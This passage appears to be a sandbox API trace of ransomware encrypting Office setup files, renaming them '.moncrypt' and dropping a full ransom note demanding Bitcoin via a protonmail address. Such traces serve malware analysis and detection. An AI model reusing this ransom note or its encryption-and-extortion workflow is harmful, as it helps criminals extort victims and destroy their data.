lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x41d4 [0048.752] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.752] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x4000, lpOverlapped=0x0) returned 1 [0048.753] GlobalLock (hMem=0x440004) returned 0x555860 [0048.753] GlobalLock (hMem=0x44000c) returned 0x55b870 [0048.754] GlobalHandle (pMem=0x55b870) returned 0x44000c [0048.754] GlobalUnlock (hMem=0x44000c) returned 0 [0048.754] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0048.754] GlobalLock (hMem=0x44000c) returned 0x55b870 [0048.754] GlobalHandle (pMem=0x55b870) returned 0x44000c [0048.754] GlobalUnlock (hMem=0x44000c) returned 0 [0048.754] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0048.754] GlobalLock (hMem=0x44000c) returned 0x55b870 [0048.754] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.754] GlobalUnlock (hMem=0x440004) returned 0 [0048.754] GlobalHandle (pMem=0x55b870) returned 0x44000c [0048.754] GlobalUnlock (hMem=0x44000c) returned 0 [0048.754] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.754] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.754] GlobalUnlock (hMem=0x44000c) returned 0 [0048.754] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0048.754] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.754] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.755] GlobalUnlock (hMem=0x44000c) returned 0 [0048.755] ReadFile (in: hFile=0x190, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e3b4*=0x20, lpOverlapped=0x0) returned 1 [0048.755] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x0 [0048.755] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e3b0*=0x4020, lpOverlapped=0x0) returned 1 [0048.755] SetFilePointer (in: hFile=0x190, lDistanceToMove=16852, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x41d4 [0048.755] WriteFile (in: hFile=0x190, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e3b0*=0x20, lpOverlapped=0x0) returned 1 [0048.755] WriteFile (in: hFile=0x190, lpBuffer=0x18e42c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x18e42c*, lpNumberOfBytesWritten=0x18e3b0*=0x8, lpOverlapped=0x0) returned 1 [0048.755] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dc8*, lpNumberOfBytesWritten=0x18e3b0*=0x1, lpOverlapped=0x0) returned 1 [0048.767] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e3b0*=0x9c, lpOverlapped=0x0) returned 1 [0048.767] CloseHandle (hObject=0x190) returned 1 [0048.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.768] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.768] CloseHandle (hObject=0x190) returned 1 [0048.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.768] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.768] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.768] GlobalUnlock (hMem=0x44000c) returned 0 [0048.768] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.768] GlobalLock (hMem=0x440004) returned 0x557978 [0048.768] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.768] GlobalUnlock (hMem=0x44000c) returned 0 [0048.768] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.769] GlobalUnlock (hMem=0x440004) returned 0 [0048.769] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557978, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69b50, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.769] GetLastError () returned 0x2 [0048.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.769] WriteFile (in: hFile=0x190, lpBuffer=0x1dcd3b8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.770] CloseHandle (hObject=0x190) returned 1 [0048.775] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0048.775] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.775] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.775] GlobalLock (hMem=0x440004) returned 0x555a70 [0048.775] GlobalHandle (pMem=0x555a70) returned 0x440004 [0048.775] GlobalUnlock (hMem=0x440004) returned 0 [0048.775] GlobalLock (hMem=0x440004) returned 0x555a70 [0048.775] GlobalLock (hMem=0x44000c) returned 0x557a80 [0048.775] GlobalHandle (pMem=0x555a70) returned 0x440004 [0048.775] GlobalUnlock (hMem=0x440004) returned 0 [0048.775] GlobalHandle (pMem=0x557a80) returned 0x44000c [0048.775] GlobalUnlock (hMem=0x44000c) returned 0 [0048.775] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.776] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0048.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.776] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0048.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", cchWideChar=98, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XMLt", lpUsedDefaultChar=0x0) returned 98 [0048.776] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XMLt", lpUsedDefaultChar=0x0) returned 4 [0048.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0048.776] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.776] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.776] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0048.777] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.moncrypt")) returned 1 [0048.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.779] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.779] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x7976 [0048.779] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.779] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x4000, lpOverlapped=0x0) returned 1 [0048.781] GlobalLock (hMem=0x44000c) returned 0x555a70 [0048.781] GlobalLock (hMem=0x440004) returned 0x55ba80 [0048.782] GlobalHandle (pMem=0x55ba80) returned 0x440004 [0048.782] GlobalUnlock (hMem=0x440004) returned 0 [0048.782] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0048.782] GlobalLock (hMem=0x440004) returned 0x55ba80 [0048.782] GlobalHandle (pMem=0x55ba80) returned 0x440004 [0048.782] GlobalUnlock (hMem=0x440004) returned 0 [0048.782] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0048.782] GlobalLock (hMem=0x440004) returned 0x55ba80 [0048.782] GlobalHandle (pMem=0x555a70) returned 0x44000c [0048.782] GlobalUnlock (hMem=0x44000c) returned 0 [0048.782] GlobalHandle (pMem=0x55ba80) returned 0x440004 [0048.782] GlobalUnlock (hMem=0x440004) returned 0 [0048.782] GlobalLock (hMem=0x440004) returned 0x555a70 [0048.782] GlobalHandle (pMem=0x555a70) returned 0x440004 [0048.782] GlobalUnlock (hMem=0x440004) returned 0 [0048.782] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0048.782] GlobalLock (hMem=0x440004) returned 0x555a70 [0048.782] GlobalHandle (pMem=0x555a70) returned 0x440004 [0048.782] GlobalUnlock (hMem=0x440004) returned 0 [0048.782] ReadFile (in: hFile=0x190, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e3b4*=0x20, lpOverlapped=0x0) returned 1 [0048.783] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x0 [0048.783] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e3b0*=0x4020, lpOverlapped=0x0) returned 1 [0048.783] SetFilePointer (in: hFile=0x190, lDistanceToMove=31094, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x7976 [0048.783] WriteFile (in: hFile=0x190, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e3b0*=0x20, lpOverlapped=0x0) returned 1 [0048.783] WriteFile (in: hFile=0x190, lpBuffer=0x18e42c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x18e42c*, lpNumberOfBytesWritten=0x18e3b0*=0x8, lpOverlapped=0x0) returned 1 [0048.783] WriteFile (in: hFile=0x190, lpBuffer=0x1e61db8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e61db8*, lpNumberOfBytesWritten=0x18e3b0*=0x1, lpOverlapped=0x0) returned 1 [0048.795] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e3b0*=0x9c, lpOverlapped=0x0) returned 1 [0048.795] CloseHandle (hObject=0x190) returned 1 [0048.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.796] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.796] CloseHandle (hObject=0x190) returned 1 [0048.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.796] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.796] GlobalLock (hMem=0x440004) returned 0x555a70 [0048.796] GlobalHandle (pMem=0x555a70) returned 0x440004 [0048.796] GlobalUnlock (hMem=0x440004) returned 0 [0048.796] GlobalLock (hMem=0x440004) returned 0x555a70 [0048.796] GlobalLock (hMem=0x44000c) returned 0x557a80 [0048.796] GlobalHandle (pMem=0x555a70) returned 0x440004 [0048.796] GlobalUnlock (hMem=0x440004) returned 0 [0048.796] GlobalHandle (pMem=0x557a80) returned 0x44000c [0048.796] GlobalUnlock (hMem=0x44000c) returned 0 [0048.797] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e586f20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e586f20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e5ad080, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.797] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.797] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.797] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.797] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.797] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.797] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.797] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.797] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.797] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.797] ReadFile (in: hFile=0x190, lpBuffer=0x1dcd3b8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.797] CloseHandle (hObject=0x190) returned 1 [0048.798] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0048.798] GetLastError () returned 0x12 [0048.798] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.798] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.798] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.798] GlobalUnlock (hMem=0x44000c) returned 0 [0048.798] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.798] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.798] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.798] GlobalUnlock (hMem=0x44000c) returned 0 [0048.798] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.798] GlobalUnlock (hMem=0x440004) returned 0 [0048.798] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, 